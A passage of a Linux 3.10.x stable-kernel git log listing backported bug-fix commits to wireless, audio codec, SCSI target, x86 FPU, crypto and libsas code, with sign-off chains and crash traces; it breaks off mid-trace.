Also hfs_brec_update_parent() will now return an error after getting a negative fd->record value. However, the return value of hfs_brec_update_parent() is not checked anywhere in the file and I'm leaving it unchanged by this patch. brec.c lacks error checking after some other calls too, but this issue is of less importance than the one being fixed by this patch. Signed-off-by: Sergei Antonov Cc: Joe Perches Reviewed-by: Vyacheslav Dubeyko Acked-by: Hin-Tak Leung Cc: Anton Altaparmakov Cc: Al Viro Cc: Christoph Hellwig Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d46d5a202d01e82a93be2225414d89a9e1313392 Author: Mikulas Patocka Date: Fri Feb 27 14:04:27 2015 -0500 dm: hold suspend_lock while suspending device during device deletion commit ab7c7bb6f4ab95dbca96fcfc4463cd69843e3e24 upstream. __dm_destroy() must take the suspend_lock so that its presuspend and postsuspend calls do not race with an internal suspend. Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1b38a3e3dfa0f60ac107c0cdff725c46f10bd0be Author: Malcolm Priestley Date: Sat Mar 7 17:04:54 2015 +0000 vt6655: RFbSetPower fix missing rate RATE_12M commit 40c8790bcb7ac74f3038153cd09310e220c6a1df upstream. When the driver sets this rate a power of zero value is set causing data flow stoppage until another rate is tried. Signed-off-by: Malcolm Priestley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ade6eb888c6e68c17a30852884ce9fdf53a2e11e Author: Peter Zijlstra Date: Thu Feb 19 18:03:11 2015 +0100 perf: Fix irq_work 'tail' recursion commit d525211f9d1be8b523ec7633f080f2116f5ea536 upstream. Vince reported a watchdog lockup like: [] perf_tp_event+0xc4/0x210 [] perf_trace_lock+0x12a/0x160 [] lock_release+0x130/0x260 [] _raw_spin_unlock_irqrestore+0x24/0x40 [] do_send_sig_info+0x5d/0x80 [] send_sigio_to_task+0x12f/0x1a0 [] send_sigio+0xae/0x100 [] kill_fasync+0x97/0xf0 [] perf_event_wakeup+0xd4/0xf0 [] perf_pending_event+0x33/0x60 [] irq_work_run_list+0x4c/0x80 [] irq_work_run+0x18/0x40 [] smp_trace_irq_work_interrupt+0x3f/0xc0 [] trace_irq_work_interrupt+0x6d/0x80 Which is caused by an irq_work generating new irq_work and therefore not allowing forward progress. This happens because processing the perf irq_work triggers another perf event (tracepoint stuff) which in turn generates an irq_work ad infinitum. Avoid this by raising the recursion counter in the irq_work -- which effectively disables all software events (including tracepoints) from actually triggering again. Reported-by: Vince Weaver Tested-by: Vince Weaver Signed-off-by: Peter Zijlstra (Intel) Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Paul Mackerras Cc: Steven Rostedt Link: http://lkml.kernel.org/r/20150219170311.GH21418@twins.programming.kicks-ass.net Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df33e900c9df1355b4a2a7e9813fd842fe1716df Author: Greg Kroah-Hartman Date: Mon Apr 6 12:18:59 2015 +0200 Revert "iwlwifi: mvm: fix failure path when power_update fails in add_interface" This reverts commit fce2d025479af5e1fa6717480c7853cdfb8b71aa It was incorrectly applied, as it merged with fuzz. Reported-by: Jiri Slaby Signed-off-by: Greg Kroah-Hartman gregkh@linuxfoundation.org Signed-off-by: Pranav Vashi commit e2b50fea1c734b2f8b139ff28013df828570b9b1 Author: Bob Copeland Date: Mon Mar 2 14:28:52 2015 -0500 mac80211: drop unencrypted frames in mesh fwding commit d0c22119f574b851e63360c6b8660fe9593bbc3c upstream. The mesh forwarding path was not checking that data frames were protected when running an encrypted network; add the necessary check. Reported-by: Johannes Berg Signed-off-by: Bob Copeland Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef402f460ac1803424ed6b1cb634e3a3b73d3fbc Author: Michal Kazior Date: Tue Feb 10 12:48:44 2015 +0100 mac80211: disable u-APSD queues by default commit aa75ebc275b2a91b193654a177daf900ad6703f0 upstream. Some APs experience problems when working with U-APSD. Decreasing the probability of that happening by using legacy mode for all ACs but VO isn't enough. Cisco 4410N originally forced us to enable VO by default only because it treated non-VO ACs as legacy. However some APs (notably Netgear R7000) silently reclassify packets to different ACs. Since u-APSD ACs require trigger frames for frame retrieval clients would never see some frames (e.g. ARP responses) or would fetch them accidentally after a long time. It makes little sense to enable u-APSD queues by default because it needs userspace applications to be aware of it to actually take advantage of the possible additional powersavings. Implicitly depending on driver autotrigger frame support doesn't make much sense. Signed-off-by: Michal Kazior Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 20b8b7cb321ba616a78a912bd3f1a72bb8d7dd0e Author: Johannes Berg Date: Thu Mar 12 08:53:27 2015 +0200 nl80211: ignore HT/VHT capabilities without QoS/WMM commit 496fcc294daab18799e190c0264863d653588d1f upstream. As HT/VHT depend heavily on QoS/WMM, it's not a good idea to let userspace add clients that have HT/VHT but not QoS/WMM. Since it does so in certain cases we've observed (client is using HT IEs but not QoS/WMM) just ignore the HT/VHT info at this point and don't pass it down to the drivers which might unconditionally use it. Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1edacf9e7952e265c3d6e89b220108d1e356317 Author: Bart Van Assche Date: Thu Mar 19 22:25:16 2015 -0700 tcm_qla2xxx: Fix incorrect use of __transport_register_session commit 75c3d0bf9caebb502e96683b2bc37f9692437e68 upstream. This patch fixes the incorrect use of __transport_register_session() in tcm_qla2xxx_check_initiator_node_acl() code, that does not perform explicit se_tpg->session_lock when accessing se_tpg->tpg_sess_list to add new se_sess nodes. Given that tcm_qla2xxx_check_initiator_node_acl() is not called with qla_hw->hardware_lock held for all accesses of ->tpg_sess_list, the code should be using transport_register_session() instead. Signed-off-by: Bart Van Assche Cc: Giridhar Malavali Cc: Quinn Tran Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 294287d7c090485c38d04e97440d793effbafab0 Author: Dan Carpenter Date: Wed Feb 25 16:21:03 2015 +0300 tcm_fc: missing curly braces in ft_invl_hw_context() commit d556546e7ecd9fca199df4698943024d40044f8e upstream. This patch adds a missing set of conditional check braces in ft_invl_hw_context() originally introduced by commit dcd998ccd when handling DDP failures in ft_recv_write_data() code. commit dcd998ccdbf74a7d8fe0f0a44e85da1ed5975946 Author: Kiran Patil Date: Wed Aug 3 09:20:01 2011 +0000 tcm_fc: Handle DDP/SW fc_frame_payload_get failures in ft_recv_write_data Signed-off-by: Dan Carpenter Cc: Kiran Patil Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dc8e73c8cab30a4a1e7df1a31dd2acc06fd24861 Author: Takashi Iwai Date: Tue Mar 10 12:39:13 2015 +0100 ASoC: wm8955: Fix wrong value references for boolean kctl commit 07892b10356f17717abdc578acbef72db86c880e upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e19f42f343ed8777081f644797c5f9338ff3917e Author: Takashi Iwai Date: Tue Mar 10 12:39:03 2015 +0100 ASoC: adav80x: Fix wrong value references for boolean kctl commit 2bf4c1d483d911cda5dd385527194d23e5cea73d upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Lars-Peter Clausen Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 07e490f0f4c53e58eb388731edaba6d7db0f6a14 Author: Takashi Iwai Date: Tue Mar 10 12:39:04 2015 +0100 ASoC: ak4641: Fix wrong value references for boolean kctl commit 08641d9b7bf915144a57a736b42642e13eb1167f upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0c8bd9281e66c151caf9e1546edeb08707199860 Author: Takashi Iwai Date: Tue Mar 10 12:39:12 2015 +0100 ASoC: wm8904: Fix wrong value references for boolean kctl commit eaddf6fd959074f6a6e71deffe079c71eef35da6 upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a6ffb427b6b7f321d4143809d9cc21993524051e Author: Takashi Iwai Date: Tue Mar 10 12:39:11 2015 +0100 ASoC: wm8903: Fix wrong value references for boolean kctl commit 24cc883c1fd16df34211ae41624aa6d3cd906693 upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 128c4000b076e3e19a84782cd5af64af9521966d Author: Takashi Iwai Date: Tue Mar 10 12:39:09 2015 +0100 ASoC: wm2000: Fix wrong value references for boolean kctl commit 00a14c2968e3d55817e0fa35c78106ca840537bf upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d29a4f7fc489a7660f119cf9f5de6addf380e482 Author: Takashi Iwai Date: Tue Mar 10 12:39:10 2015 +0100 ASoC: wm8731: Fix wrong value references for boolean kctl commit bd14016fbf31aa199026f1e2358eab695f374eb1 upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8fd34c25b53b56b74e318a97099b323d6ab8fca0 Author: Takashi Iwai Date: Tue Mar 10 12:39:08 2015 +0100 ASoC: tas5086: Fix wrong value references for boolean kctl commit 4c523ef61160b7d478371ddc9f48c8ce0a00d675 upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4d67036636418ca116055629cc8ef0272eac8e0d Author: Takashi Iwai Date: Tue Mar 10 12:39:14 2015 +0100 ASoC: wm8960: Fix wrong value references for boolean kctl commit b4a18c8b1af15ebfa9054a3d2aef7b0a7e6f2a05 upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 596a8f0818234a1524aafcbfc4873a40bb0d80e6 Author: Takashi Iwai Date: Tue Mar 10 12:39:05 2015 +0100 ASoC: cs4271: Fix wrong value references for boolean kctl commit e8371aa0fecb73fb8a4b2e0296b025b11e7d6229 upstream. The correct values referred by a boolean control are value.integer.value[], not value.enumerated.item[]. The former is long while the latter is int, so it's even incompatible on 64bit architectures. Signed-off-by: Takashi Iwai Acked-by: Paul Handrigan Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b4d566d5ff83c71b0a7eed56897225df1bee5ee5 Author: Eric Nelson Date: Fri Feb 27 08:06:45 2015 -0700 ASoC: sgtl5000: remove useless register write clearing CHRGPUMP_POWERUP commit c7d910b87d3c8e9fcf4077089ca4327c12eee099 upstream. The SGTL5000_CHIP_ANA_POWER register is cached. Update the cached value instead of writing it directly. Patch inspired by Russell King's more colorful remarks in this patch: https://github.com/SolidRun/linux-imx6-3.14/commit/dd4bf6a Signed-off-by: Eric Nelson Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9465c4554010044f5c8011e05515cadfaf3dcc57 Author: Greg Kroah-Hartman Date: Thu Mar 26 15:01:29 2015 +0100 Linux 3.10.73 Signed-off-by: Pranav Vashi commit f15e682885e972fe837e5f6eeca0ad3a0aec94ee Author: Lee Duncan Date: Mon Jan 5 10:49:44 2015 -0800 target: Allow Write Exclusive non-reservation holders to READ commit 1ecc7586922662e3ca2f3f0c3f17fec8749fc621 upstream. For PGR reservation of type Write Exclusive Access, allow all non reservation holding I_T nexuses with active registrations to READ from the device. This addresses a bug where active registrations that attempted to READ would result in an reservation conflict. Signed-off-by: Lee Duncan Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5058aa4da50226150381e5686928defd65373cd3 Author: Nicholas Bellinger Date: Fri Dec 19 00:49:23 2014 +0000 target: Allow AllRegistrants to re-RESERVE existing reservation commit ae450e246e8540300699480a3780a420a028b73f upstream. This patch changes core_scsi3_pro_release() logic to allow an existing AllRegistrants type reservation to be re-reserved by any registered I_T nexus. This addresses a issue where AllRegistrants type RESERVE was receiving RESERVATION_CONFLICT status if dev_pr_res_holder did not match the same I_T nexus, instead of just returning GOOD status following spc4r34 Section 5.9.9: "If the device server receives a PERSISTENT RESERVE OUT command with RESERVE service action where the TYPE field and the SCOPE field contain the same values as the existing type and scope from a persistent reservation holder, it shall not make any change to the existing persistent reservation and shall complete the command with GOOD status." Reported-by: Ilias Tsitsimpis Cc: Ilias Tsitsimpis Cc: Lee Duncan Cc: James Bottomley Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 81ba9d92e22877379626ba40cd58b17713e36a84 Author: Nicholas Bellinger Date: Sun Dec 14 01:47:19 2014 -0800 target: Fix R_HOLDER bit usage for AllRegistrants commit d16ca7c5198fd668db10d2c7b048ed3359c12c54 upstream. This patch fixes the usage of R_HOLDER bit for an All Registrants reservation in READ_FULL_STATUS, where only the registration who issued RESERVE was being reported as having an active reservation. It changes core_scsi3_pri_read_full_status() to check ahead of the list walk of active registrations to see if All Registrants is active, and if so set R_HOLDER bit and scope/type fields for all active registrations. Reported-by: Ilias Tsitsimpis Cc: James Bottomley Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4c9b1d761113f9d1de3f4b0c5b277db5e1d0d034 Author: Nicholas Bellinger Date: Fri Feb 27 03:54:13 2015 -0800 target/pscsi: Fix NULL pointer dereference in get_device_type commit 215a8fe4198f607f34ecdbc9969dae783d8b5a61 upstream. This patch fixes a NULL pointer dereference OOPs with pSCSI backends within target_core_stat.c code. The bug is caused by a configfs attr read if no pscsi_dev_virt->pdv_sd has been configured. Reported-by: Olaf Hering Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 28e879cc4c2d591ddd18c0a01b98a4900b1f1eab Author: Nicholas Bellinger Date: Mon Feb 23 00:57:51 2015 -0800 iscsi-target: Avoid early conn_logout_comp for iser connections commit f068fbc82e7696d67b1bb8189306865bedf368b6 upstream. This patch fixes a iser specific logout bug where early complete() of conn->conn_logout_comp in iscsit_close_connection() was causing isert_wait4logout() to complete too soon, triggering a use after free NULL pointer dereference of iscsi_conn memory. The complete() was originally added for traditional iscsi-target when a ISCSI_LOGOUT_OP failed in iscsi_target_rx_opcode(), but given iser-target does not wait in logout failure, this special case needs to be avoided. Reported-by: Sagi Grimberg Cc: Sagi Grimberg Cc: Slava Shwartsman Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4d084103fa5a43b92efcfd053b65a9b50fea62c1 Author: Bart Van Assche Date: Wed Feb 18 15:33:58 2015 +0100 target: Fix reference leak in target_get_sess_cmd() error path commit 7544e597343e2166daba3f32e4708533aa53c233 upstream. This patch fixes a se_cmd->cmd_kref leak buf when se_sess->sess_tearing_down is true within target_get_sess_cmd() submission path code. This se_cmd reference leak can occur during active session shutdown when ack_kref=1 is passed by target_submit_cmd_[map_sgls,tmr]() callers. Signed-off-by: Bart Van Assche Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 23e48e0e75d40b9be1c45d0179adbc84e5169d31 Author: Alexandre Belloni Date: Tue Mar 3 19:58:22 2015 +0100 ARM: at91: pm: fix at91rm9200 standby commit 84e871660bebfddb9a62ebd6f19d02536e782f0a upstream. at91rm9200 standby and suspend to ram has been broken since 00482a4078f4. It is wrongly using AT91_BASE_SYS which is a physical address and actually doesn't correspond to any register on at91rm9200. Use the correct at91_ramc_base[0] instead. Fixes: 00482a4078f4 (ARM: at91: implement the standby function for pm/cpuidle) Signed-off-by: Alexandre Belloni Signed-off-by: Nicolas Ferre Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 987dbe8b5b0ed56f63e6a34a4766472937e65603 Author: Julian Anastasov Date: Thu Dec 18 22:41:23 2014 +0200 ipvs: rerouting to local clients is not needed anymore commit 579eb62ac35845686a7c4286c0a820b4eb1f96aa upstream. commit f5a41847acc5 ("ipvs: move ip_route_me_harder for ICMP") from 2.6.37 introduced ip_route_me_harder() call for responses to local clients, so that we can provide valid rt_src after SNAT. It was used by TCP to provide valid daddr for ip_send_reply(). After commit 0a5ebb8000c5 ("ipv4: Pass explicit daddr arg to ip_send_reply()." from 3.0 this rerouting is not needed anymore and should be avoided, especially in LOCAL_IN. Fixes 3.12.33 crash in xfrm reported by Florian Wiessner: "3.12.33 - BUG xfrm_selector_match+0x25/0x2f6" Reported-by: Smart Weblications GmbH - Florian Wiessner Tested-by: Smart Weblications GmbH - Florian Wiessner Signed-off-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0aa4c6197927e330cee52f2fe11088134f2a5c09 Author: Julian Anastasov Date: Sat Feb 21 21:03:10 2015 +0200 ipvs: add missing ip_vs_pe_put in sync code commit 528c943f3bb919aef75ab2fff4f00176f09a4019 upstream. ip_vs_conn_fill_param_sync() gets in param.pe a module reference for persistence engine from __ip_vs_pe_getbyname() but forgets to put it. Problem occurs in backup for sync protocol v1 (2.6.39). Also, pe_data usually comes in sync messages for connection templates and ip_vs_conn_new() copies the pointer only in this case. Make sure pe_data is not leaked if it comes unexpectedly for normal connections. Leak can happen only if bogus messages are sent to backup server. Fixes: fe5e7a1efb66 ("IPVS: Backup, Adding Version 1 receive capability") Signed-off-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c9cbde133eaa6d541b56eb53a02c50278810558 Author: Michael Ellerman Date: Tue Feb 24 17:58:02 2015 +1100 powerpc/smp: Wait until secondaries are active & online commit 875ebe940d77a41682c367ad799b4f39f128d3fa upstream. Anton has a busy ppc64le KVM box where guests sometimes hit the infamous "kernel BUG at kernel/smpboot.c:134!" issue during boot: BUG_ON(td->cpu != smp_processor_id()); Basically a per CPU hotplug thread scheduled on the wrong CPU. The oops output confirms it: CPU: 0 Comm: watchdog/130 The problem is that we aren't ensuring the CPU active bit is set for the secondary before allowing the master to continue on. The master unparks the secondary CPU's kthreads and the scheduler looks for a CPU to run on. It calls select_task_rq() and realises the suggested CPU is not in the cpus_allowed mask. It then ends up in select_fallback_rq(), and since the active bit isnt't set we choose some other CPU to run on. This seems to have been introduced by 6acbfb96976f "sched: Fix hotplug vs. set_cpus_allowed_ptr()", which changed from setting active before online to setting active after online. However that was in turn fixing a bug where other code assumed an active CPU was also online, so we can't just revert that fix. The simplest fix is just to spin waiting for both active & online to be set. We already have a barrier prior to set_cpu_online() (which also sets active), to ensure all other setup is completed before online & active are set. Fixes: 6acbfb96976f ("sched: Fix hotplug vs. set_cpus_allowed_ptr()") Signed-off-by: Michael Ellerman Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef1d04be0109c13b8b880198f3d13f97e7c395bb Author: Jiri Slaby Date: Thu Mar 5 09:13:31 2015 +0100 x86/vdso: Fix the build on GCC5 commit e893286918d2cde3a94850d8f7101cd1039e0c62 upstream. On gcc5 the kernel does not link: ld: .eh_frame_hdr table[4] FDE at 0000000000000648 overlaps table[5] FDE at 0000000000000670. Because prior GCC versions always emitted NOPs on ALIGN directives, but gcc5 started omitting them. .LSTARTFDEDLSI1 says: /* HACK: The dwarf2 unwind routines will subtract 1 from the return address to get an address in the middle of the presumed call instruction. Since we didn't get here via a call, we need to include the nop before the real start to make up for it. */ .long .LSTART_sigreturn-1-. /* PC-relative start address */ But commit 69d0627a7f6e ("x86 vDSO: reorder vdso32 code") from 2.6.25 replaced .org __kernel_vsyscall+32,0x90 by ALIGN right before __kernel_sigreturn. Of course, ALIGN need not generate any NOP in there. Esp. gcc5 collapses vclock_gettime.o and int80.o together with no generated NOPs as "ALIGN". So fix this by adding to that point at least a single NOP and make the function ALIGN possibly with more NOPs then. Kudos for reporting and diagnosing should go to Richard. Reported-by: Richard Biener Signed-off-by: Jiri Slaby Acked-by: Andy Lutomirski Cc: Borislav Petkov Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1425543211-12542-1-git-send-email-jslaby@suse.cz Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0e7e894576a6c7f6330de8aef2773629d82ed31d Author: Oleg Nesterov Date: Fri Mar 13 09:53:10 2015 +0100 x86/fpu: Drop_fpu() should not assume that tsk equals current commit f4c3686386393c120710dd34df2a74183ab805fd upstream. drop_fpu() does clear_used_math() and usually this is correct because tsk == current. However switch_fpu_finish()->restore_fpu_checking() is called before __switch_to() updates the "current_task" variable. If it fails, we will wrongly clear the PF_USED_MATH flag of the previous task. So use clear_stopped_child_used_math() instead. Signed-off-by: Oleg Nesterov Signed-off-by: Borislav Petkov Reviewed-by: Rik van Riel Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Dave Hansen Cc: Fenghua Yu Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Pekka Riikonen Cc: Quentin Casasnovas Cc: Suresh Siddha Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20150309171041.GB11388@redhat.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit efc6ab7cf81aaf52fa3c5bdd3ab91f47ee5aa923 Author: Oleg Nesterov Date: Fri Mar 13 09:53:09 2015 +0100 x86/fpu: Avoid math_state_restore() without used_math() in __restore_xstate_sig() commit a7c80ebcac3068b1c3cb27d538d29558c30010c8 upstream. math_state_restore() assumes it is called with irqs disabled, but this is not true if the caller is __restore_xstate_sig(). This means that if ia32_fxstate == T and __copy_from_user() fails, __restore_xstate_sig() returns with irqs disabled too. This triggers: BUG: sleeping function called from invalid context at kernel/locking/rwsem.c:41 dump_stack ___might_sleep ? _raw_spin_unlock_irqrestore __might_sleep down_read ? _raw_spin_unlock_irqrestore print_vma_addr signal_fault sys32_rt_sigreturn Change __restore_xstate_sig() to call set_used_math() unconditionally. This avoids enabling and disabling interrupts in math_state_restore(). If copy_from_user() fails, we can simply do fpu_finit() by hand. [ Note: this is only the first step. math_state_restore() should not check used_math(), it should set this flag. While init_fpu() should simply die. ] Signed-off-by: Oleg Nesterov Signed-off-by: Borislav Petkov Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Dave Hansen Cc: Fenghua Yu Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Pekka Riikonen Cc: Quentin Casasnovas Cc: Rik van Riel Cc: Suresh Siddha Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20150307153844.GB25954@redhat.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ecc512c6409e4c733361dd7fac66d213a641e25b Author: Stephan Mueller Date: Thu Mar 12 09:17:51 2015 +0100 crypto: aesni - fix memory usage in GCM decryption commit ccfe8c3f7e52ae83155cb038753f4c75b774ca8a upstream. The kernel crypto API logic requires the caller to provide the length of (ciphertext || authentication tag) as cryptlen for the AEAD decryption operation. Thus, the cipher implementation must calculate the size of the plaintext output itself and cannot simply use cryptlen. The RFC4106 GCM decryption operation tries to overwrite cryptlen memory in req->dst. As the destination buffer for decryption only needs to hold the plaintext memory but cryptlen references the input buffer holding (ciphertext || authentication tag), the assumption of the destination buffer length in RFC4106 GCM operation leads to a too large size. This patch simply uses the already calculated plaintext size. In addition, this patch fixes the offset calculation of the AAD buffer pointer: as mentioned before, cryptlen already includes the size of the tag. Thus, the tag does not need to be added. With the addition, the AAD will be written beyond the already allocated buffer. Note, this fixes a kernel crash that can be triggered from user space via AF_ALG(aead) -- simply use the libkcapi test application from [1] and update it to use rfc4106-gcm-aes. Using [1], the changes were tested using CAVS vectors to demonstrate that the crypto operation still delivers the right results. [1] http://www.chronox.de/libkcapi.html CC: Tadeusz Struk Signed-off-by: Stephan Mueller Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4bacafc32dbbcf3c069ab1f3e2e548b13994a9cf Author: James Bottomley Date: Wed Mar 4 16:18:33 2015 -0800 libsas: Fix Kernel Crash in smp_execute_task commit 6302ce4d80aa82b3fdb5c5cd68e7268037091b47 upstream. This crash was reported: [ 366.947370] sd 3:0:1:0: [sdb] Spinning up disk.... [ 368.804046] BUG: unable to handle kernel NULL pointer dereference at (null) [ 368.804072] IP: [] __mutex_lock_common.isra.7+0x9c/0x15b [ 368.804098] PGD 0 [ 368.804114] Oops: 0002 [#1] SMP [ 368.804143] CPU 1 [ 368.804151] Modules linked in: sg netconsole s3g(PO) uinput joydev hid_multitouch usbhid hid snd_hda_codec_via cpufreq_userspace cpufreq_powersave cpufreq_stats uhci_hcd cpufreq_conservative snd_hda_intel snd_hda_codec snd_hwdep snd_pcm sdhci_pci snd_page_alloc sdhci snd_timer snd psmouse evdev serio_raw pcspkr soundcore xhci_hcd shpchp s3g_drm(O) mvsas mmc_core ahci libahci drm i2c_core acpi_cpufreq mperf video processor button thermal_sys dm_dmirror exfat_fs exfat_core dm_zcache dm_mod padlock_aes aes_generic padlock_sha iscsi_target_mod target_core_mod configfs sswipe libsas libata scsi_transport_sas picdev via_cputemp hwmon_vid fuse parport_pc ppdev lp parport autofs4 ext4 crc16 mbcache jbd2 sd_mod crc_t10dif usb_storage scsi_mod ehci_hcd usbcore usb_common [ 368.804749] [ 368.804764] Pid: 392, comm: kworker/u:3 Tainted: P W O 3.4.87-logicube-ng.22 #1 To be filled by O.E.M. To be filled by O.E.M./EPIA-M920 [ 368.804802] RIP: 0010:[] [] __mutex_lock_common.isra.7+0x9c/0x15b [ 368.804827] RSP: 0018:ffff880117001cc0 EFLAGS: 00010246 [ 368.804842] RAX: 0000000000000000 RBX: ffff8801185030d0 RCX: ffff88008edcb420 [ 368.804857] RDX: 0000000000000000 RSI: 0000000000000002 RDI: ffff8801185030d4 [ 368.804873] RBP: ffff8801181531c0 R08: 0000000000000020 R09: 00000000fffffffe [ 368.804885] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8801185030d4 [ 368.804899] R13: 0000000000000002 R14: ffff880117001fd8 R15: ffff8801185030d8 [ 368.804916] FS: 0000000000000000(0000) GS:ffff88011fc80000(0000) knlGS:0000000000000000 [ 368.804931] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 368.804946] CR2: 0000000000000000 CR3: 000000000160b000 CR4: 00000000000006e0 [ 368.804962] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 368.804978] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 368.804995] Process kworker/u:3 (pid: 392, threadinfo ffff880117000000, task ffff8801181531c0) [ 368.805009] Stack: [ 368.805017] ffff8801185030d8 0000000000000000 ffffffff8161ddf0 ffffffff81056f7c [ 368.805062] 000000000000b503 ffff8801185030d0 ffff880118503000 0000000000000000 [ 368.805100] ffff8801185030d0 ffff8801188b8000 ffff88008edcb420 ffffffff813583ac [ 368.805135] Call Trace: [ 368.805153] [] ? up+0xb/0x33 [ 368.805168] [] ? mutex_lock+0x16/0x25 [ 368.805194] [] ? smp_execute_task+0x4e/0x222 [libsas] [ 368.805217] [] ? sas_find_bcast_dev+0x3c/0x15d [libsas] [ 368.805240] [] ? sas_find_bcast_dev+0x6f/0x15d [libsas] [ 368.805264] [] ? sas_ex_revalidate_domain+0x37/0x2ec [libsas] [ 368.805280] [] ? printk+0x43/0x48 [ 368.805296] [] ? _raw_spin_unlock_irqrestore+0xc/0xd [ 368.805318] [] ? sas_revalidate_domain+0x85/0xb6 [libsas] [ 368.805336] [] ? process_one_work+0x151/0x27c [ 368.805351] [] ? worker_thread+0xbb/0x152 [ 368.805366] [] ? manage_workers.isra.29+0x163/0x163 [ 368.805382] [] ? kthread+0x79/0x81 [ 368.805399] [] ? kernel_thread_helper+0x4/0x10 [ 368.805416] [] ? kthread_flush_work_fn+0x9/0x9 [ 368.805431] [] ? gs_change+0x13/0x13 [ 368.805442] 